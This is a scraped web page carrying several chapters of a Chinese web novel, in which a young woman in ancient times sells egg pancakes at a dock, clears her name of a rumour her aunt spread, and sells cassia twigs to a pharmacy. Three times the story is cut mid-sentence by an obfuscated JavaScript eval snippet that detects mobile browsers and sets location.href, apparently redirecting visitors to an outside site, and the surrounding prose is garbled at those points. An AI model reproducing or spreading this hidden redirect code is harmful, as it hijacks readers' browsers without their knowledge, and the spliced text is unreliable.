林窈今天来得还是迟了些，到的时候，好位置都已经被占了，他们找了一个角落位置，放下扁担和背篓，开始摆小食摊。 支起煎饼的摊子，林窈把背篓里的食材拿出来摆放好之后，就开始忙活起来。 林窈先是蒯了一大块猪油放进锅里，那油在热锅上滋滋作响，林诚欲言又止，林窈看出了大哥心疼猪油，“大哥，咱们出来卖吃食，色香味缺一不可，不然别人为何要掏钱来买”。 林诚想了想，觉得在理，“阿窈说的是。” 隔壁卖粥的李大娘在一旁瞥了好几眼，暗自咋舌，心想着这新来的小娘子是要做什么，咋舍得放这么多油，这三兄妹看着也不是富裕人家的孩子，怎的这般浪费。 林窈对李大娘的腹诽一无所知，她把早上准备好的食材倒入锅里，面糊接触热锅，瞬间泛起一层细密的小泡。 林窈熟练地拿起铲子，轻轻推动着饼的边缘，让它受热更加均匀。随着温度的升高，饼的边缘逐渐变得金黄酥脆，散发出诱人的香气。林窈看着一面开始泛起微黄，便立刻将饼翻了个面，继续煎制另一面。不一会儿，另一面也变得金黄诱人，韭菜的鲜香和鸡蛋的醇厚完美地融合在一起，香气立刻像长了翅膀一般，悠悠地飘散开来。 李大娘忍不住吸了吸鼻子，探过头来问：“小娘子，你这做的是什么？闻着怪香的嘞。” 林窈抬起头，脸上挂着笑回应：“大娘，这是韭菜鸡蛋饼。” 不多时，几张韭菜鸡蛋饼已经整整齐齐摆在一旁。林窈挑了个卖相最好的，包在棕叶芦里，递给李大娘：“大娘，您尝尝。” 李大娘忙不迭摆手：“哎哟，使不得，使不得，你们几个孩子出来挣钱不容易，我怎么能白吃。” 林窈执意要塞给她：“大娘，您就别推辞了，以后还指不定要您多照应照应我们！” 李大娘这才接过，咬了一口，眼睛瞬间亮了起来，赞不绝口：“好吃，真好吃！小娘子这手艺真是好！我在这码头摆了大半辈子的摊了，第一次到吃如此美味的饼子” 林窈心里清楚，韭菜鸡蛋饼毫无烹饪难度，只是在古代，油水不足，猪油更是普通老百姓逢年过节才舍得多用些的稀罕物，她做的饼子，下足了猪油和鸡蛋，自然味美。 林窈受到夸赞，笑得更甜了，手上动作不停，继续摊饼，“多谢大娘夸奖，我姓林，这是我的哥哥林诚，弟弟林崧，不知大娘如何称呼？” “我姓李，你可以唤我李大娘。”李大娘回道。 这时，一个路人被香气吸引，走上前问：“这是何吃食，怎么卖？” 林窈脆生生答道：“这是韭菜蛋饼，三文钱一个。” 那人一听，眉头皱起，嘟囔着：“三文钱？太贵了，能买好几个馒头了。”说完便扭头走了。 林窈心里有点失落，不过很快调整过来，她扭头拿了个饼递给在一旁略显拘谨的大哥和林崧：“阿兄、崧儿，饿了吧，快吃。” “大哥不吃，崧儿吃就成了，留着卖钱。”林诚说。 林崧早馋得不行，迫不及待地伸出小手，接过饼就大口咬下去，腮帮子鼓鼓的，眼睛眯成了缝，像在吃什么难得的珍馐美食。 这一幕恰好被路过的几个行人瞧见，不自觉就被吸引了过来。 林窈瞅见机会，清了清嗓子，脆生生地叫卖起来：“各位叔伯婶子、哥哥姐姐，来尝尝咱家的韭菜蛋饼嘞！用的都是新鲜韭菜、土鸡蛋，再配上足量的猪油，小火慢煎，外皮酥脆，内里软糯，香得很哟，三文钱一个，实惠又管饱！” 林崧呆在阿兄和阿姐身边，胆子也大了起来，咽下嘴里的饼，扬起沾满饼屑的小脸，跟着有样学样，奶声奶气地帮腔：“可好吃啦，快来买呀！”他边说还边晃着小手，那活泼俏皮的劲头，倒是比昨日看着开朗不少。 “小姑娘，你这饼怎么卖的？”有人发问。 “三文钱一个。”林窈再次回答。 众人一听，面露犹豫之色。在码头上做工每日三十文钱，三文钱一个的饼子不算便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094886|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜，也不是谁都舍得吃的，有些家贫的，都是从家里带饼子，休息时就着凉水咽下去。 李大娘在一旁瞧见了，笑着帮腔：“这饼真的好吃，我刚尝过，用料扎实，味道又好，三文钱绝对值！我在这摆摊这么多年，还没吃过如此味美的饼子哩！” 有人听了这话，虽然还是将信将疑，但耐不出林窈的摊子上传来的阵阵香气，还是掏出钱买了一个。这人咬了一口，本想着随便对付两口，哪知道刚入口，酥脆的外皮，软糯的内里，再加上韭菜的鲜香、鸡蛋的醇厚，瞬间在舌尖上炸开。他也顾不上形象，大口大口吃起来，那狼吞虎咽的模样，让周围的人都看呆了。 “有这么夸张吗？”有人小声嘀咕，但还是有几个好奇心重的，抱着试一试的心态买了饼。这一尝，纷纷露出惊喜之色，“确实好吃啊！” 林窈他们的摊子小，没摆桌椅，有些买了饼的人，扭头瞧见隔壁李大娘的粥摊，便拿着过去，买碗热粥，就着饼吃起来。 这么一来，李大娘的粥摊生意也跟着红火起来，李大娘笑得合不拢嘴，一边盛粥一边招呼：“各位客官慢点儿喝，别烫着咯！” 林窈的摊子渐渐热闹起来，不断有人掏钱买饼。林诚在一旁帮忙递饼、收钱，忙得额头都沁出了汗珠。 这时，摊子前来了一对主仆，“这里剩下的饼我都要了。” 林窈抬起头，是昨天在粮食铺子讨价还价的少年。 他身着一袭洗得有些发白却整洁干净的靛青色长衫，头上戴着儒巾，看装扮应当是个读书人，只是今日凑近了些，才发现他身上穿着的长衫有些紧绷，看这长衫的尺寸似乎是小了一些，更显得他身材魁梧。时下的书生身材多清瘦，这人虽穿着长衫，带着儒巾，看着却像个武夫。 倒也不是林窈以貌取人，许之珩身为镇北将军之子，从小习武，这与那些整日埋首书卷、弱不禁风的书生自然大不相同。 林窈的目光落在许之珩的脸上，只见他棱角分明，剑眉星目，鼻梁高挺，嘴唇上扬出好看的弧度，只是说出来的话却让人不是那么欢喜：“小娘子给我算便宜些吧。” 他身后的小厮一只手提着大包小包的吃食，另一只手拿着一个肉包，吃得正香，对自家郎君什么都喜欢讲价的习惯已经见怪不怪了。 林窈一时语塞，这人上次在粮食铺子一口气买了五十斤白面，现在还带着小厮伺候，不像是穷苦人家，怎么还计较这几文钱，但有钱不赚王八蛋，林窈也是见识过他磨人的功夫，就应下了。 “好嘞，这十一个饼子算客官三十文吧，您第一次来咱们小摊吧，吃好了下次再来！”林窈说道。 许之珩心满意足，“多谢小娘子！我一定多多光顾！” 林窈手脚麻利地将十一个饼子仔细包好，递到许之珩手中。 许之珩接过饼子，从怀中掏出荷包，一个一个铜板数着，生怕多给一文。 5. 谣言 不到午时，林窈准备的四十个韭菜鸡蛋饼就全部卖完了。 林诚看着空空的饼摊，脸上是难以抑制的笑容，他握着手里沉甸甸的钱袋子，兴奋地对林窈说：“没想到咱们的饼能卖得这么好！” 林窈一边收拾着摊子，一边笑着对大哥说：“是啊，今日生意很是红火，不过阿兄，这是咱们第一天出摊，大伙还新鲜着，所以来的客人多。” 她喝了碗水，接着说道：“除了这个，咱们还得算算成本。鸡蛋虽然是咱家鸡下的，但用完了还是得买，按市价一个鸡蛋两文钱算，今天一共用了十个鸡蛋，那就是二十文钱。韭菜是山上摘的不要钱，可油和面粉暂时算花了二十文钱，这样一剔除成本，今天咱们一共才赚了八十文钱。” 林诚听了，微微一愣，但很快又咧嘴笑了起来，他把钱裹了裹，妥帖地塞进怀里，说道：“八十文可不少了，这可比打猎强多了，阿兄在山里摸爬滚打一整天，也未必能挣下这么多。” 林窈也跟着笑，“我看大家都挺喜欢这饼，往后咱多备些料，还能多赚。” 林窈看了看一旁李大娘的铺子，盘算着等生意做起来了也要置办些桌椅餐具。 林诚连忙点头：“好，明天我早点起来去准备食材，多打些鸡蛋，再去多买些面粉和油。” 第一天出摊的情况比林窈和林诚预计的要好多了，三人收拾完东西，挑着空担子、背着空背篓往村子走。 一路上，林窈在和林诚商量往后几日该准备多少食材，林崧蹦蹦跳跳跟在后面，时不时捡起路边的小石子丢着玩。 可进了村子，氛围却有些异样。 他们三兄妹一向与四邻相处融洽，平日里邻居之间碰面都会打声招呼，说上几句话，今日远远瞧见他们，却加快脚步匆匆走开，看起来像是在躲着他们。 林诚和林窈对视一眼，都觉得不对劲。 快到家时，三人远远的就瞧见一个人蹲在他们家门口。 “大壮哥！”林诚快走几步，上前和刘大壮打招呼。 刘大壮是村里出了名的猎户，看着虽然只有二十四五岁的样子，却已经有近十年的打猎经验。自从林诚父亲下落不明后，刘大壮就时常带着林诚上山打猎，教他辨认兽迹、寻觅水源，两人情同手足。 今天是初五，是刘大壮去镇上卖猎物的日子，他去卖猎物的时候会顺带把林诚的也带去卖了，这样林诚就可以留在家里照看弟弟妹妹。 刘大壮见他们回来，忙站起身，拎起刚刚搁在脚边布袋，“诚哥儿，你们可算回来了！” 林诚赶忙上前：“大壮哥，等久了吧，正想找你呢，昨天运气好，猎着只野鸡，劳烦你帮忙带到集市上卖了。”说着，忙进屋拿出包好的野鸡递过去。 刘大壮接过野鸡，看出兄妹俩的兴致都不高，“怎么都耷拉着个脸？” 林诚顺着刘大壮的话，把路上村民异样的反应讲了一遍。 刘大壮一听，脸色微变，犹豫了一下，还是开口说道：“还不是你那大伯娘！她是个惯会胡扯的。她在村头榕树下与那些妇人聊天时说，窈丫头丢了那天怕是沾了啥不干净的东西，脑袋流了那么老些血，第二天就跟没事人一样上山，怕不是被什么东西附了体。还说村里只要有人沾染上了晦气的东西，就会给村子带来灾祸，讲得有鼻子有眼的，把大伙都唬住了。” 林窈有点心虚，胡氏说的也没错。 她自己倒是不在乎这种说法，更不在乎能不能嫁出去，只是这种累及名声的鬼神之说必须想办法解决，不然只怕以后谁家出了点什么事，都能推到他们家头上。 林诚气得额头上青筋暴突，拳头攥得死紧：“大伯娘太不像话！她怎么能这么糟践人，平白毁了阿窈名声！明明是她……” 林诚说到一半便止住了话头，他知道大伯娘要把妹妹卖去做妾的事情，如果被传了出去，妹妹的名声就毁了。 刘大壮赶忙拍拍林诚的肩膀安抚：“诚哥儿别急，你大伯娘那人，就爱搬弄是非。” 林诚深吸一口气，努力平复情绪：“大壮哥，多亏你与我们说，这事儿绝不能就这么算了，我定得找大伯娘讨个说法，还阿窈一个清白！” 与刘大壮告别，兄妹三人把摆摊的东西放到家里，林诚便要去林家大房为妹妹讨个公道。 林窈一把拉住正要冲去林家大房的林诚，“阿兄，你这会儿气冲冲地找过去，大伯娘肯定不认账。” 林诚虽说正在气头上，却也知晓妹妹说得在理，只能强忍着怒火，听她谋划。 林窈凑到林诚耳边，悄声讲起自己的计划。 林诚先是一怔，随后眉头微蹙：“阿窈，这事不宜让人知晓，于你的名声有碍。” 林窈耸了耸肩，道：“阿兄，此事我并无过错，把眼前的谣言解决了才是最重要的，况且我也无意嫁人，我靠自己也能活下去，何必嫁人去伺候那一家老小，累死累活还讨不着好。” 林诚只当她年纪小，没把林窈说的话放在心上，但也知道，顶着这邪祟的说法，妹妹的名声也好不到哪去。 收回思绪，林诚回到房中，把上月打来的鹿皮翻了出来。 为了猎到这只鹿，他和大壮哥可是费了不少力气，鹿肉他们都卖掉了，剩下的鹿皮质地柔软又厚实，摸上去暖融融的。他们一人分了半张鹿皮，林诚本想着留着给家里人各做一双保暖的靴子，再给给崧儿缝件小披风。 兄妹俩揣着鹿皮，匆匆赶到邻村牙婆家。 两人敲了好一会门，才有一个身形丰腴的老妇人前来开门。 门一打开，林窈率先开口，眼眶泛红，声音带着几分委屈与急切：“婆婆，求您帮我们兄妹这一回，这鹿皮就当是给您的谢礼，事成之后，还有重谢。”说着，把鹿皮摊开，细腻的皮毛在昏暗的屋里也泛着柔和的光泽。 张牙婆本就是见钱眼开的人，一瞅见这上好的鹿皮，眼睛瞬间亮了起来，忙不迭点头：“小娘子快快进来，我这人最是见不得小娘子受苦，你且说说，要我如何帮忙？” 林窈听到张牙婆说的话，起了一身鸡皮疙瘩，“婆婆可还记得胡氏？” 张牙婆听到这个名字，眼皮微微一跳，“胡氏？哪个胡氏啊，我这平日里接触的人多，一时还真想不起来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094887|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林窈看她这个样子，分明是记得的，“婆婆莫要与我绕圈子了，前些日子，镇上的老员外要寻年轻娘子做妾，槐花村胡氏便找上了您。但婆婆有所不知，林家大房二房只我一个姑娘，胡氏这是要害您啊，我阿兄尚在，如何轮到她做我的主？她蒙骗您拐卖妇女，按律可是要流二千里！如今只需婆婆配合我们演一出戏，便事便可化解！” 林窈虽然唾弃这些封建的思想，但是她现在也只是这个时代下的一个蝼蚁，只能入乡随俗，拿着家里还有主事的男丁这件事来提醒张牙婆。 张牙婆听后，把鹿皮拿在手中细细端详，心里盘算起其中的利害得失，半晌，说道：“看在小娘子这般可怜，又拿出这等好东西的份上，说说罢，要我如何配合。” 第二日，张牙婆来到槐花村的时候，正是村里人多走动的时候，各家的妇人忙完了家中的活计，正三三两两围着聊天。 张牙婆一进村子，便风风火火朝着林家大房一家的屋子走去，扯着嗓子就喊：“胡氏！你可让我好找！之前说好把你家那个水灵灵的姑娘卖给我，你定银子都收了，怎么到现在还没把人给我带过来？做生意可得讲诚信呐！” 周围邻里听闻动静，纷纷围拢过来。 胡氏本来已经快要将此事忘记，这会正在屋里数落大儿子又欠了赌债，在屋里听到外面的叫嚷声，心里一慌，匆忙跑出，想把屋门关上。 只是她一露头，张牙婆就冲上前，“你让我好找，之前说好了把你家姑娘卖给我，我好把她带到胡员外家享福，如今这胡员外都等了几日了，怎么还不见人来？” 胡氏强装镇定，指着牙婆大骂：“你个满嘴谎话的疯婆子，从哪冒出来的，在这儿胡诌啥！” 在一旁的看了好一会戏的柳三娘说道：“这位婆婆，您怕是被骗了，这胡氏可没有闺女，她膝下只有两个儿子，说到姑娘，林家就只有二房家有一个，可这哪有大伯娘卖侄女的道理？” 此时，林窈正从旁边路过，闻声立马煞白了脸，几步冲到牙婆跟前，死死拉住她的衣袖，泪如泉涌：“婆婆，您说什么？我大伯娘为何要卖我？” 张牙婆把手里的手帕一甩，佯装委屈：“哟，胡氏你可别不认账啊！前几日，就在村口那棵歪脖子老树下，咱俩谈得好好的，你还收了我的定钱，咋这会儿翻脸不认人了？” 大伯娘额头上冒出豆大的汗珠，眼神慌乱地在人群里扫视，矢口否认：“大伙别听她瞎说，她就是个骗子，要来讹我的！” 可众人看看穿得灰扑扑的胡氏，又瞧瞧衣着鲜艳的张牙婆，心里已然信了七八分。有人忍不住小声嘟囔：“胡氏，要没这事儿，人家能找上门来？还说得有鼻子有眼的，你有什么可让人骗的。” 林窈抽抽搭搭，又加了把火：“大伯娘，我一直把您当长辈敬重，哪怕您平日里对我没个好脸色，我也从没顶撞过。您怎么能狠心把我往火坑里推啊！” 胡氏有心想狡辩却又不知从何说起，只觉头晕目眩，耳边指责声此起彼伏，“真是狠毒，亲侄女都下得去手！”“怪不得之前说窈丫头是扫把星，原来是惦记着卖了人家！” 6. 野葱鸡蛋饼 林窈见目的已经达到，擦了擦脸上残留的泪痕，趁着周围人的注意力还在大伯娘身上，悄悄转身离开。 一路上，乡亲们看向她的眼神里满是同情，先前疏离避讳的模样早已不见，还有几个婶子拉着她说话，让她别往心里去，以后有难处就言语一声。林窈都一一应了，装得是一副乖巧的模样。 回到家，就看到林诚和林崧等在门口，林窈说：“成了。”林诚这才松了一口气。 林窈抓了抓了林崧脑袋上的小啾啾，“阿兄，崧儿，咱别耽搁了，快准备明日摆摊要用的食材。” 林诚咧嘴一笑，应道：“好嘞！” 林窈拿上菜篮子准备出门：“我再上山摘些新鲜韭菜，明日多做点饼。” 林崧在一旁嚷着：“二姐，我也要帮忙！” 林窈沿着熟悉的山间小路疾步而上，山上的风一吹，她感觉浑身的疲惫都消散了几分。到了平日采摘韭菜的地头，那一片韭菜长得郁郁葱葱，她蹲下身子，利落地割下一茬茬鲜嫩的韭菜，不一会儿，菜篮子就装得满满当当。 接着，林窈把一些韭菜根也挖了起来，她把挖好的韭菜根小心翼翼地裹进布里，放进菜篮子，带着林崧往山下走去。 没走几步，林窈突然看见不远处有一片野葱，长得极为茂盛。 她思忖片刻，带着林崧走到野葱丛边，连根挖起不少野葱。 无论是现代还是古代，人的口味都是各异，有人喜食韭菜就会有人不喜，再做个野葱鸡蛋饼，说不定能吸引不喜欢韭菜的食客。 路上，林崧好奇地问：“姐姐，为啥要把这些根带回去呀？” 林窈笑着摸摸他的头：“崧儿，这韭菜和野葱都是见风就长，咱把根种在家后面的荒地上，往后就不愁没新鲜韭菜使了。” 回到家，林诚正在修理打猎用的竹箭，这儿的猎户多用竹子削尖做箭，金属箭头虽好用，但价格高昂，林家如今还负担不起。 见他俩进门，林诚赶忙接过菜篮子，瞧见里头的菜根，明白妹妹的打算：“等吃完饭，我就去把这些种下。” 林窈接着说：“阿兄，明日咱们不光做韭菜鸡蛋饼，再做上些野葱鸡蛋饼一块儿卖。虽说都是鸡蛋饼，但味道大不一样，多些花样，也能多招揽些客人。” 林诚连连点头：“还是你想得周全，就这么办！” 林窈洗了洗手，把挖回来的野葱洗净，野葱纤细，带着山间独有的清新气息，切碎后盛在碗里，翠绿鲜嫩。接着磕开几个鸡蛋，蛋液金黄澄亮，倒入野葱碗中，再撒入适量面粉与盐巴，加水搅拌。随着筷子的搅动，面糊渐渐变得浓稠均匀，淡黄的面糊裹挟着野葱碎。 林诚在一旁把锅烧热，放上猪油，猪油遇热“滋滋”作响，满屋子飘香。 林窈缓缓将面糊倒入锅中，面糊摊开，边缘泛起细密的小泡。她手持铲子，推动饼的边缘，让它受热均匀，底面变得金黄酥脆，不多时，一张野葱鸡蛋饼就出锅了。 林崧早馋得不行，眼巴巴地望着饼，林窈笑着把饼分成几块，递给兄弟俩。 林崧一口咬下去，眼睛瞬间瞪大，含糊不清地赞叹：“二姐，这个好吃，比韭菜鸡蛋饼味道还要好！” 对厨师而言，没什么比自己做的菜收到夸赞更高兴的事情了，“喜欢就多吃点。”说着，林窈也夹起来一块野葱鸡蛋饼。 野葱独特的辛香与鸡蛋的醇厚完美融合，舌尖先是触碰到酥脆的外皮，接着软糯内里的香气在口腔爆开，咽下之后，还有丝丝回甘。 林诚也边吃边点头：“这味道真不错，明日肯定能卖得好。” 吃完饭，月光洒在小院里，三人借着月色来到屋后田地，把韭菜根种下，浇透水。林窈又在院子角落把野葱种好，拍实了土。 第二日，天还未亮透，林窈、林诚与林崧就起了床。简单洗漱后，他们带上昨晚就备好的食材与家伙什，匆匆朝着码头赶去。 等来到码头，这儿早已人声喧哗。卸货的工人高声吆喝着，摊贩热情招揽，河面上船只来来往往，激起的水花在晨曦里闪烁微光。 粥铺的李大娘眼尖，一眼瞅见他们，忙不迭地招手：“哟，你们可算来了！昨天这么没瞧见你们呢？” 林窈快走几步过去，回应道：“昨日家里有点事，耽搁了许久，就没出摊。” 寒暄几句，林窈三人便迅速支起摊子。 林窈熟练地在热锅上抹油，待油温合适，将调好的韭菜鸡蛋面糊倒入锅中，“滋滋”声瞬间响起，熟悉的香气立马飘散开来。没一会儿，就有食客上前来。 林窈抬眼一瞧，竟是之前第一个来买饼的那位客人。 那人搓了搓手，说道：“小娘子，给我来一个韭菜鸡蛋饼。” 林窈麻利包好一个递过去，脸上挂着甜笑：“大哥，今天我们还新做了野葱鸡蛋饼，味道也是顶好的，您要不要也来一个尝尝？” 客人听了，眼睛一亮：“哦？还有新口味，那给我也来一个。”说罢付了钱，端着饼走到李大娘的粥铺，要了碗热粥。 “吴镖头最近镖局可是忙得紧？”李大娘一边装粥，一边熟稔地和他寒暄。 “是哩，昨儿个接了个大单子，明天就要出发了。”吴镖头回道。 吴镖头把野葱鸡蛋饼搁在桌上，轻轻一掰，热气裹挟着浓郁的葱香与蛋香升腾而起。他先是小小咬了一口，那酥脆的外皮在齿间裂开，内里软糯的面饼裹着鲜嫩野葱与滑嫩鸡蛋，层次丰富的口感瞬间在舌尖绽放。吴镖头忍不住赞道：“嘿，这味儿比镇上的钱家饼铺做的还好！” 他这一嗓子，引得周围不少食客纷纷侧目。正巧，不远处几个镖师刚押完一趟镖，正饿着肚子寻吃食，听到熟悉的声音，扭头一看，自家镖头吃得正香。其中一个年轻镖师笑着凑过来打趣：“头儿，什么好吃的，把您给馋成这样，也不说给兄弟们分享分享。” 吴镖头咽下嘴里的食物，乐呵着指了指林窈的小摊：“去，买几个那野葱鸡蛋饼，再给每人来碗热粥，都算我账上！保准你们吃得舒坦！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094888|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>几个镖师得令，麻溜地奔向小摊。 这几个年轻镖师一人要了一个韭菜鸡蛋饼和野葱鸡蛋饼，一下进账二十四文，林诚在旁边帮忙装饼收钱，笑得眼睛都眯了起来。 几个镖师一走，排在后面的人就走上前来，“今天可算遇上了，前日买了你家一个饼，好吃得紧，昨天午时专门来买，结果你们没出摊，可把我给馋坏了。”说罢，掏钱买了一个韭菜鸡蛋饼，他还是比较想吃韭菜鸡蛋饼，三文钱一个也不便宜。 林窈有些惊喜，没想到还有人专门来买他们的饼，“昨日家中有事，没有出摊，日后都在此处摆摊，客官吃好了再来！” 路边的人听到吴镖头和那位客人说的话，探着脑袋问：“真这么好吃，你们俩别是拖儿吧？” 吴镖头咽下口中食物，大声说道：“我可是虎门镖局的镖头，还差这点钱？他家这韭菜鸡蛋饼，外皮酥脆，内里软糯，香得很！还有这野葱鸡蛋饼，也是不错。” 董货郎也说道：“我虽不如吴镖头豪横，但也犯不着为个饼子骗人，你们试试便知！” 林窈手上动作不停，一边煎饼一边热情招呼，“咱们家的饼真材实料，客官不妨买上一个试试？” 那路人一时也有些不好意思，买了一个野葱鸡蛋饼，一入口也忍不住连连赞叹。 看见原本质疑的人也吃得津津有味，本来还在犹豫的客人也打消了顾虑。不一会儿，林窈摊前排起了一小队人，林诚收钱也收得眉开眼笑。 没多久，饼子就都卖完了。 “多谢各位捧场，今日的饼已售罄，明日我们也在此处摆摊！”林窈一边把东西往背篓里装一边说。 排在后面的人没有买到饼，很是失望，“小娘子明日可得多备些饼。” 林窈连连应好，摊子前的人才慢慢散去。 今日比第一日多准备了二十个饼，韭菜鸡蛋饼和香葱鸡蛋饼各做了三十个，却是比前日还要早收摊，林诚看着空荡荡的摊子，笑得合不拢嘴，数着手里沉甸甸的铜板，声音都透着难掩的兴奋：“阿窈，今天这生意，竟比前日还红火！” “林小娘子，你们今日可把我这老太婆的生意也带旺咯，这碗粥算大娘请你们的，快趁热喝了，润润嗓子。”　粥铺的李大娘端着一碗还冒着热气的粥走了过来 林窈忙不迭接过，连声道谢：“您客气了，要不是挨着您的粥铺，咱这饼也没这么好卖！” 告别李大娘后，三姐弟收拾好摊子往家里去了。 一进家门，林窈就把背篓往墙角一放，整个人瘫倒在院子里那张破旧的小板凳上，长舒一口气。虽说今天生意好，可站了大半天，着实累得腰酸背痛。 林诚把钱袋子小心翼翼拿出来，林窈数了数今日的收入，一共一百八十文，今日用了十五个鸡蛋，算三十文，白面和猪油算二十五文，今日纯收入为一百二十五文。 林诚一听，乐得嘴都合不拢，那双看着十分粗糙的手在钱袋子上反复摩挲，仿佛那不是铜板，而是能孵出金蛋的宝贝。 7. 进山 吃过午饭之后，林窈收拾好东西，对林诚说：“阿兄，我想上山挖点野菜。” 林诚点点头：“行，正好家里的柴火用完了，我去捡些柴回来，咱们一起走。” 林崧听到后，丢下手里的小石头，吵着要跟着去，林窈和林诚拗不过他，只好带上他。 三人一路朝着山里走去，林诚走在前面，手里拿着一根木棍，时不时地敲打着路边的草丛。 林窈跟在后面，心里琢磨着，光靠在码头卖那几摞饼，挣的钱实在是少得可怜，得想法子多寻些赚钱的门道，这次进山也是碰碰运气，说不定能捡着什么珍贵草药，这样她也能早点开上铺子。 她一边走在山路上，一边陷入了自己的回忆。之前做美食博主的时候，为了迎合养生赛道，做过一段时间药膳专题。那段时间，她收集了很多常见草药的信息，了解它们的生长习性、功效和烹饪方法，希望可以派上用场吧。 走着走着，林窈突然眼前一亮，她看到了一棵熟悉的植物——肉桂树。 林窈心中一阵激动，肉桂又叫玉桂，肉桂树皮可以做成调料肉桂粉，桂枝可以入药，具有发汗解肌、温通经脉、助阳化气、平冲降气等功效。① 林窈假装惊喜地叫了起来：“阿兄，快看，这是肉桂，可以做调料也可以入药！” 林诚和林崧连忙跑过来，看着一旁的肉桂树，没看出什么特别的地方：“阿窈，你怎么认识这个？” 林窈在心里道了声对不住，还是用了那一套说辞：“阿兄，我在昏迷的时候，有人喂了我吃这个药材，我当时迷迷糊糊的，只记得这个味道和样子，所以才认识的。” 林诚听了，眼眶一下子红了，“定是娘念着你。”林窈也轻轻地点点头。 林诚擦了擦眼泪，笑着说：“我们把多摘些桂枝，卖了换钱。” “再削些树皮，我可以做成肉桂粉。”林窈连忙补充道。 三人分工明确，围着几棵树折腾半天，装了大半背篓，林窈不禁感叹，没有被过度开发的山林就是好啊，林诚又去捡了一些柴，盖在三人的背篓上。 林窈还想再找找，但什么都找不到了，野韭菜倒又割了几丛，眼见着日头越来越高，再找下去就赶不及去镇上买了，她只能放弃幻想了。 果然，灵芝、人参不是谁都能遇上的，她还是老老实实卖饼吧。 兄妹三人紧赶忙赶，终于赶在未时末回到了家。 刚进家门，林窈把背篓一放，就对林诚说：“阿兄，我们一起把这药材拿到镇上去卖吧。” 林诚点了点头，“好。” 林窈去镇上不光为卖药材，更重要的，是要好好做一次市场考察。 如今在码头卖点吃食虽能糊口，没办法让她过上想过的生活。她这个人，前世活了二十几年，要说有什么爱好的话，那还真没有，最喜欢的事情就是赚钱，苦日子她是过得够够的了，赚钱才是正道。 她想着以后要把生意拓展到镇上、府城里，上次去镇上采买物资匆忙，都没有看清楚镇上有什么店铺，这次可得好好看看。 三人结伴往镇上走去。 今天是圩日，村里的农户都会带上自家攒的鸡蛋和菜蔬到镇上卖，小镇比平日热闹许多。 林窈眼睛亮晶晶的，默默观察着各个铺子，评估人流量。走了一会儿，她就瞧见了气派的广元堂，三人抬脚迈进医馆。 店里伙计见他们衣衫破旧，却也没驱赶，只是随口问：“来看病，还是抓药？” 林窈上前一步说道：“我们是来卖药的。” 药童一愣，让他们在这稍候片刻，转身回后堂唤大夫去了。 不多时，一位体态微胖，脸颊红润的大夫从内堂走出。 陈千远的目光落在他们背篓里的桂枝上，不禁露出几分讶色，桂枝虽然在乡下山里常见，但是没多少人认得出来，这兄妹背篓里的桂枝看着就新鲜，品相极佳。 林窈心里也打鼓，她虽然知道桂枝的药效，却不清楚古代市价，索性先发制人：“大夫，您看看这桂枝能值多少钱？” 陈千远捻须思忖片刻，开口：“一百一十文一斤。” 一旁的林诚瞪大了眼，激动得差点没握住背篓，这可比卖饼挣得多得多！ 可林窈却神色未改，“大夫，这价钱低了。”说罢，伸手就去拿大哥手上的背篓，作势要走。 陈千远见状，忙抬手阻拦：“小姑娘，莫急！我给你加到一百二十文一斤，这已是公道价了，镇上对桂枝这种药材消耗量有限，好在我们广元堂分馆遍布，还能分销出去，不然可不敢收这么多。” 林窈佯装思索一番，这才点头：“行，那就依您。” 称重、算账，一番忙活后，林窈拿到了沉甸甸的六百八十文。 陈千远看着眼前这三兄妹，虽说衣着褴褛，但负责谈价的小娘子口齿伶俐、不卑不亢，不禁心生几分好奇与欣赏。 林窈让林诚把钱收好，有了铜板，心里畅快，脚步都轻快不少，拉着兄弟俩，一头扎进热闹的街市之中。 走着走着，林窈瞧见不远处有个糖人摊子，糖人在阳光下散发着诱人的甜香。 林窈感觉到林崧的脚步慢了下来，她的脚步也放缓下来。 林窈想起上次来镇子，林崧也是这样，眼睛直勾勾地盯着糖人摊子。 这不过是几天前的事情，那时家里捉襟见肘，每一文钱都有去处，今日倒是宽裕了些许。 林诚虽看着憨憨的，但心思细腻，注意到了弟弟妹妹的异样，他顺着林崧的目光看去，一下子就明白了。往日里，自己一门心思扑在怎么挣口饭吃、怎么拉扯大弟妹上头，没太顾得上这些小孩子家的心思，当然最重要的是没钱。 林诚带着林窈和林崧走向卖糖人的老汉，道：“阿窈，崧儿，都去挑个喜欢的糖人。” 林崧先是一愣，眼里满是不敢置信，反应过来之后，小脸瞬间绽放出惊喜的光芒。 林窈刚要推辞，林诚便说：“阿窈也买，这几日都是多亏了你。” 